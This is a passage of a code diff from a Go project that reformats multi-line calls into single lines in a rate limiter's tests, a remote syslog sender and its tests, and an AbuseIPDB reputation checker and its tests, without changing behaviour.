-			_, hit, over := limiter.CountBytes(
+			_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
-				client,
-				midnight(),
-				600,
-				whole,
-			)
 
 			want := ratelimit.Hit{
 				Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
 			}
 			if !over || hit != want {
-				t.Errorf(
+				t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
-					"1200 bytes give %+v and %t, want %+v and true",
-					hit,
-					over,
-					want,
-				)
 			}
 		})
 	}
@@ -287,10 +230,8 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
-		ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
+		tableSize)
-		tableSize,
-	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	other := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -360,10 +301,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 
 	for range limit {
 		if _, over := limiter.CountRefusal(client, start, limit); over {
-			t.Fatalf(
+			t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
-				"a refusal within the threshold of %d broke the error burst",
-				limit,
-			)
 		}
 	}
 
@@ -373,21 +311,13 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 		Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
 	}
 	if !over || hit != want {
-		t.Errorf(
+		t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
-			"one over the threshold broke it: %t, with %+v; want %+v",
+			want)
-			over,
-			hit,
-			want,
-		)
 	}
 
 	// Half a minute into the next, half of those four still count, 2, and
 	// this one: 3, within the threshold.
-	hit, over = limiter.CountRefusal(
+	hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
-		client,
-		start.Add(time.Minute+time.Minute/2),
-		limit,
-	)
 	if over || hit.Count != 3 {
 		t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
 			hit.Count, over)
@@ -396,11 +326,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 	// A ban sets them back to zero.
 	limiter.Reset(client)
 
-	hit, _ = limiter.CountRefusal(
+	hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
-		client,
-		start.Add(time.Minute+time.Minute/2),
-		limit,
-	)
 	if hit.Count != 1 {
 		t.Errorf("after a reset, %v refusals, want 1", hit.Count)
 	}
@@ -421,11 +347,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 	// hour still covers three quarters of the bucket before, with its three
 	// requests, which count 2.25, and this one: 3.25. The day covers all
 	// four.
-	counts, _, _ := limiter.Count(
+	counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
-		client,
-		start.Add(time.Hour+time.Hour/4),
-		whole,
-	)
 
 	want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
 	if counts != want {
@@ -436,10 +358,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 func TestResetSetsTheCountsBackToZero(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
-		ratelimit.Limits{PerMinute: limit, PerDay: limit},
-		tableSize,
-	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -480,10 +399,8 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
 func TestRefusedRequestsCount(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
-		ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
+		tableSize)
-		tableSize,
-	)
 	refused := netip.MustParsePrefix("203.0.113.9/32")
 	within := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -584,11 +501,7 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
 	wantCount(t, limiter, clients[maxClients], now, "")
 
 	if limiter.Len() != maxClients {
-		t.Errorf(
+		t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
-			"the table holds %d clients, want %d",
-			limiter.Len(),
-			maxClients,
-		)
 	}
 
 	wantCount(t, limiter, clients[1], now, "")
@@ -603,10 +516,7 @@ func midnight() time.Time {
 // wantCount counts a request from client at now, and checks the window
 // whose limit it goes over, "" for none.
 func wantCount(
-	t *testing.T,
+	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
-	limiter *ratelimit.Limiter,
-	client netip.Prefix,
-	now time.Time,
 	want string,
 ) {
 	t.Helper()
@@ -621,12 +531,8 @@ func wantCount(
 // wantBytesCount counts bytes from client at now, and checks the kind of
 // the limit they break, "" for none.
 func wantBytesCount(
-	t *testing.T,
+	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
-	limiter *ratelimit.Limiter,
+	bytes int64, want string,
-	client netip.Prefix,
-	now time.Time,
-	bytes int64,
-	want string,
 ) {
 	t.Helper()
 

internal/ratelimit/snapshot_test.go

@@ -12,12 +12,7 @@ import (
 func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 	t.Parallel()
 
-	want := []string{
+	want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
-		"192.0.2.1/32",
-		"203.0.113.9/32",
-		"203.0.113.10/32",
-		"2001:db8::/64",
-	}
 
 	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 	for _, i := range []int{2, 3, 0, 1} {
@@ -37,12 +32,8 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 
 	counted := ratelimit.Buckets{Start: midnight(), Current: 1}
 	if snapshot[0].Minute != counted || snapshot[0].Day != counted {
-		t.Errorf(
+		t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
-			"buckets %+v and %+v, want %+v",
+			counted)
-			snapshot[0].Minute,
-			snapshot[0].Day,
-			counted,
-		)
 	}
 }
 
@@ -95,15 +86,10 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 		t.Errorf("loaded two minutes on as %+v", got)
 	}
 
-	if got.MinuteBytes != (ratelimit.Buckets{}) ||
+	if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
-		got.HourBytes.Current != 5 ||
 		got.DayBytes.Current != 5 {
-		t.Errorf(
+		t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
-			"loaded two minutes on with buckets of bytes %+v, %+v and %+v",
+			got.MinuteBytes, got.HourBytes, got.DayBytes)
-			got.MinuteBytes,
-			got.HourBytes,
-			got.DayBytes,
-		)
 	}
 
 	if got.MinuteRefusals != (ratelimit.Buckets{}) {
@@ -115,13 +101,8 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 	got = loaded(start.Add(2*time.Minute - time.Nanosecond))
 	if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
 		got.MinuteRefusals.Current != 1 {
-		t.Errorf(
+		t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
-			"loaded just under two minutes on with minute buckets %+v, %+v "+
+			"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
-				"and %+v",
-			got.Minute,
-			got.MinuteBytes,
-			got.MinuteRefusals,
-		)
 	}
 }
 

internal/remotelog/remotelog.go

@@ -185,11 +185,7 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
 // and over TCP and TLS after its length in bytes and a space, the
 // octet-counted framing of RFC 6587 and RFC 5425.
 func (s *Sender) record(at string, line []byte) []byte {
-	record := make(
+	record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
-		[]byte,
-		0,
-		len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
-	)
 	record = append(record, s.beforeTime...)
 	record = append(record, at...)
 	record = append(record, s.afterTime...)
@@ -223,10 +219,7 @@ func (s *Sender) put(record []byte) {
 // send connects to the endpoint and sends each record as it comes into
 // the buffer, until ctx is done, and returns the connection then open, or
 // nil.
-func (s *Sender) send(
+func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
-	ctx context.Context,
-	processLog *slog.Logger,
-) net.Conn {
 	delay := firstRetryDelay
 
 	for {

internal/remotelog/remotelog_test.go

@@ -57,27 +57,16 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		endpoint, err := (&net.ListenConfig{}).ListenPacket(
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
-			t.Context(),
-			"udp",
-			loopback,
-		)
 		if err != nil {
 			t.Fatalf("listen: %v", err)
 		}
 
 		t.Cleanup(func() { _ = endpoint.Close() })
 
-		sender, _, _ := run(
+		sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
-			t,
-			params(remotelog.SchemeUDP, endpoint.LocalAddr()),
-		)
 
-		_, _ = sender.Write(
+		_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
-			[]byte(
-				`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
-			),
-		)
 
 		synctest.Wait()
 		wantCounts(t, sender, 2, 0, 0)
@@ -119,9 +108,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
 	})
 }
 
-func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
+func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -187,11 +174,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
 		wantCounts(t, sender, 1, 0, 0)
 
 		conn := endpoint.next(t)
-		wantFrame(
+		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
-			t,
-			bufio.NewReader(conn),
-			record(t, local0Info, appName, "one"),
-		)
 
 		// The endpoint goes away: it closes the connection, and refuses the
 		// next ones. The sender notices when a record fails, and tries to
@@ -220,11 +203,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
 		wantCounts(t, sender, sent+1, 1, 0)
 
 		conn = endpoint.next(t)
-		wantFrame(
+		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
-			t,
-			bufio.NewReader(conn),
-			record(t, local0Info, appName, "two"),
-		)
 		wantRetries(t, logged, "1s", "2s")
 	})
 }
@@ -234,19 +213,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
 
 	synctest.Test(t, func(t *testing.T) {
 		endpoint := listen(t)
-		sender, logged, _ := run(
+		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
-			t,
-			params(remotelog.SchemeTCP, endpoint.Addr()),
-		)
 
 		// The endpoint closes each connection as soon as it takes it. The
 		// sender notices when a record fails, and connects again a second
 		// later, then two seconds after that, then four.
-		delays := []time.Duration{
+		delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
-			time.Second,
-			2 * time.Second,
-			4 * time.Second,
-		}
 		for i, delay := range delays {
 			_ = accept(t, endpoint).Close()
 
@@ -258,17 +230,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
 	})
 }
 
-func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
+func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
 		endpoint := listen(t)
-		sender, logged, _ := run(
+		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
-			t,
-			params(remotelog.SchemeTCP, endpoint.Addr()),
-		)
 
 		_ = accept(t, endpoint).Close()
 
@@ -304,21 +271,14 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		endpoint, err := (&net.ListenConfig{}).ListenPacket(
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
-			t.Context(),
-			"udp",
-			loopback,
-		)
 		if err != nil {
 			t.Fatalf("listen: %v", err)
 		}
 
 		t.Cleanup(func() { _ = endpoint.Close() })
 
-		sender, logged, _ := run(
+		sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
-			t,
-			params(remotelog.SchemeUDP, endpoint.LocalAddr()),
-		)
 
 		// With its header, the first line's record is longer than the 65507
 		// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
@@ -412,10 +372,7 @@ func params(scheme string, addr net.Addr) remotelog.Params {
 // run runs a Sender with settings until the test ends or the function
 // it returns is called, which waits for Run to return. It returns the
 // Sender, and what it logs.
-func run(
+func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
-	t *testing.T,
-	settings remotelog.Params,
-) (*remotelog.Sender, *output, func()) {
 	t.Helper()
 
 	sender := remotelog.New(settings)
@@ -442,11 +399,7 @@ func run(
 func listen(t *testing.T) net.Listener {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
-		t.Context(),
-		"tcp",
-		loopback,
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -485,17 +438,11 @@ type tlsEndpoint struct {
 
 // startTLSEndpoint starts a tlsEndpoint with certificate, which takes
 // connections until it is told to refuse them.
-func startTLSEndpoint(
+func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
-	t *testing.T,
-	certificate tls.Certificate,
-) *tlsEndpoint {
 	t.Helper()
 
 	listener := listen(t)
-	endpoint := &tlsEndpoint{
+	endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
-		addr:  listener.Addr(),
-		conns: make(chan net.Conn, 10),
-	}
 	config := &tls.Config{
 		Certificates: []tls.Certificate{certificate},
 		MinVersion:   tls.VersionTLS12,
@@ -509,8 +456,7 @@ func startTLSEndpoint(
 			}
 
 			server := tls.Server(conn, config)
-			if endpoint.refusing.Load() ||
+			if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
-				server.HandshakeContext(t.Context()) != nil {
 				_ = conn.Close()
 
 				continue
@@ -582,17 +528,9 @@ func wantCounts(
 ) {
 	t.Helper()
 
-	if sender.Sent() != sent || sender.Dropped() != dropped ||
+	if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
-		sender.Depth() != depth {
+		t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
-		t.Fatalf(
+			sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
-			"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
-			sender.Sent(),
-			sender.Dropped(),
-			sender.Depth(),
-			sent,
-			dropped,
-			depth,
-		)
 	}
 }
 
@@ -601,11 +539,7 @@ func wantCounts(
 // connection the endpoint has closed are lost before one fails; how many
 // depends on when the endpoint's host answers that the connection is
 // gone.
-func writeUntilDropped(
+func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
-	t *testing.T,
-	sender *remotelog.Sender,
-	dropped int64,
-) {
 	t.Helper()
 
 	for sender.Dropped() < dropped {
@@ -652,8 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
 		var fields map[string]any
 
 		err := json.Unmarshal([]byte(line), &fields)
-		if err != nil ||
+		if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
-			fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
 			t.Fatalf("logged %q", line)
 		}
 
@@ -662,11 +595,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
 	}
 
 	if !slices.Equal(got, delays) {
-		t.Errorf(
+		t.Errorf("logged failures to connect again in %v, want %v", got, delays)
-			"logged failures to connect again in %v, want %v",
-			got,
-			delays,
-		)
 	}
 }
 
@@ -689,10 +618,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
 		IsCA:                  true,
 		BasicConstraintsValid: true,
 		KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
-		ExtKeyUsage: []x509.ExtKeyUsage{
+		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
-			x509.ExtKeyUsageServerAuth,
+		IPAddresses:           []net.IP{net.IPv4(127, 0, 0, 1)},
-		},
-		IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
 	}
 
 	der, err := x509.CreateCertificate(rand.Reader, template, template,
@@ -709,8 +636,5 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
 	roots := x509.NewCertPool()
 	roots.AddCert(certificate)
 
-	return tls.Certificate{
+	return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
-		Certificate: [][]byte{der},
-		PrivateKey:  key,
-	}, roots
 }

internal/reputation/abuseipdb.go

@@ -260,11 +260,7 @@ func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
 // the score as client's, and notes the check as no longer under way. A
 // check that fails gives no score: it is counted, logged and raised as a
 // source_failure alert, and no client is checked for failureDelay.
-func (a *AbuseIPDB) check(
+func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
-	ctx context.Context,
-	client netip.Prefix,
-	addr netip.Addr,
-) {
 	score, err := a.ask(ctx, addr)
 	now := a.params.Now()
 
@@ -273,10 +269,7 @@ func (a *AbuseIPDB) check(
 	delete(a.checking, client)
 
 	if err == nil {
-		a.scores.Add(
+		a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
-			client,
-			Score{Client: client, Score: score, Fetched: now},
-		)
 	} else {
 		a.failures++
 		a.retryAt = now.Add(failureDelay)
@@ -292,10 +285,7 @@ func (a *AbuseIPDB) check(
 // ask asks AbuseIPDB for addr's abuse confidence score, sending the key
 // in the header Key. An answer other than 200, one that gives no score,
 // and none within Timeout, fail.
-func (a *AbuseIPDB) ask(
+func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
-	ctx context.Context,
-	addr netip.Addr,
-) (int64, error) {
 	ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
 	defer cancel()
 
@@ -331,8 +321,7 @@ func (a *AbuseIPDB) ask(
 		} `json:"data"`
 	}
 
-	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
+	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
-		Decode(&answer)
 	if err != nil {
 		return 0, fmt.Errorf("read the answer: %w", err)
 	}
@@ -350,11 +339,5 @@ func (a *AbuseIPDB) alert(reason string, err error) {
 	// Raised before it is logged, so that the alert is there once the log
 	// line is.
 	raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
-	a.params.ProcessLog.Warn(
+	a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
-		reason,
-		"source",
-		AbuseIPDBSource,
-		"error",
-		err.Error(),
-	)
 }

internal/reputation/abuseipdb_test.go

@@ -41,9 +41,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		abuseIPDB := &abuseIPDBStandIn{
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
-			scores: map[string]int64{suspect: 100},
-		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		// A client that has committed no offence is not checked.
@@ -62,9 +60,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
 	})
 }
 
-func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
+func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -72,15 +68,10 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
 		// it of its own.
 		var addresses []string
 		for i := 1; i < 16; i++ {
-			addresses = append(
+			addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
-				addresses,
-				fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
-			)
 		}
 
-		abuseIPDB := &abuseIPDBStandIn{
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
-			scores: map[string]int64{addresses[0]: 100},
-		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		// A request from each has the client checked once, by the first.
@@ -105,11 +96,7 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		scores := map[string]int64{
+		scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
-			"192.0.2.74":  74,
-			"192.0.2.75":  75,
-			"192.0.2.100": 100,
-		}
 		p := abuseIPDBParams()
 		p.MinScore = 75
 		checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
@@ -130,9 +117,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		abuseIPDB := &abuseIPDBStandIn{
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
-			scores: map[string]int64{suspect: 100},
-		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		hitFrom(t, checker, suspect, true)
@@ -156,9 +141,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	})
 }
 
-func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
+func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -169,9 +152,7 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
 		p.DailyBudget = 3
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-		abuseIPDB := &abuseIPDBStandIn{
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
-			scores: map[string]int64{suspect: 100},
-		}
 		checker := newAbuseIPDB(abuseIPDB, p)
 
 		// At noon, the first three offenders spend the budget, and the
@@ -192,14 +173,8 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
 		// The check that used the budget up raised the alert, and logged it.
 		const usedUp = "the daily budget of AbuseIPDB checks is used up"
 
-		wantFailureAlert(
+		wantFailureAlert(t, queue, time.Now(), usedUp,
-			t,
+			"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
-			queue,
-			time.Now(),
-			usedUp,
-			"3 checks spent; none is made until the day ends at 00:00 UTC",
-			0,
-		)
 
 		if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
 			t.Errorf("logged\n%s\nwant the budget used up", log.String())
@@ -239,9 +214,7 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
 		p := abuseIPDBParams()
 		p.DailyBudget = 1
 		p.Now = func() time.Time { return time.Now().In(ahead) }
-		abuseIPDB := &abuseIPDBStandIn{
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
-			scores: map[string]int64{suspect: 100},
-		}
 		checker := newAbuseIPDB(abuseIPDB, p)
 
 		// At 09:00 UTC the one check is spent.
@@ -265,9 +238,7 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
 	})
 }
 
-func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
+func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -311,10 +282,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
 				p.Key = tc.key
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-				abuseIPDB := &abuseIPDBStandIn{
+				abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
-					status: tc.status,
-					body:   tc.body,
-				}
 				checker := newAbuseIPDB(abuseIPDB, p)
 
 				// The failure gives no score, and no client is checked within a
@@ -342,11 +310,8 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
 				wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
 					"checking a client with AbuseIPDB failed", tc.error, 1)
 
-				if !strings.Contains(
+				if !strings.Contains(log.String(), `"msg":"checking a client with `+
-					log.String(),
+					`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
-					`"msg":"checking a client with `+
-						`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
-				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -354,9 +319,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
 	}
 }
 
-func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
+func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -383,14 +346,8 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
-		wantFailureAlert(
+		wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
-			t,
+			"check the client: context deadline exceeded", 0)
-			queue,
-			time.Now(),
-			"checking a client with AbuseIPDB failed",
-			"check the client: context deadline exceeded",
-			0,
-		)
 	})
 }
 
@@ -404,15 +361,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 		p := abuseIPDBParams()
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
-		abuseIPDB := &abuseIPDBStandIn{
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
-			scores: map[string]int64{suspect: 100},
-		}
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
-		m.AddReputation(
+		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
-			reputation.New(params()),
-			reputation.NewDNSBL(dnsblParams()),
-		)
 		m.AddAbuseIPDB(checker)
 
 		// One check that AbuseIPDB answers, and one it refuses with an answer
@@ -421,10 +373,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 		synctest.Wait()
 		wantScore(t, checker, suspect, true, 100, true)
 
-		abuseIPDB.answerWith(
+		abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
-			http.StatusUnauthorized,
-			`{"errors":[{"detail":"`+key+`"}]}`,
-		)
 		wantScore(t, checker, other, true, 0, false)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
@@ -467,10 +416,7 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
 		p.DailyBudget = 5
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
-		m.AddReputation(
+		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
-			reputation.New(params()),
-			reputation.NewDNSBL(dnsblParams()),
-		)
 		m.AddAbuseIPDB(checker)
 
 		// One check that AbuseIPDB answers, and one that fails.
@@ -526,9 +472,7 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
 	}
 }
 
-func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
+func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -557,10 +501,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
 	got := checker.Snapshot()
 	if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
 		slices.Contains(got, scores[count-1]) {
-		t.Errorf(
+		t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
-			"%d scores kept, want all but the one fetched longest ago",
-			len(got),
-		)
 	}
 }
 
@@ -581,9 +522,7 @@ type abuseIPDBStandIn struct {
 
 // RoundTrip has the stand-in answer req, in place of the network. A check
 // abandoned before the stand-in answers fails, as over the network.
-func (s *abuseIPDBStandIn) RoundTrip(
+func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
-	req *http.Request,
-) (*http.Response, error) {
 	client := req.URL.Query().Get("ipAddress")
 	sent := req.Header.Get("Key")
 
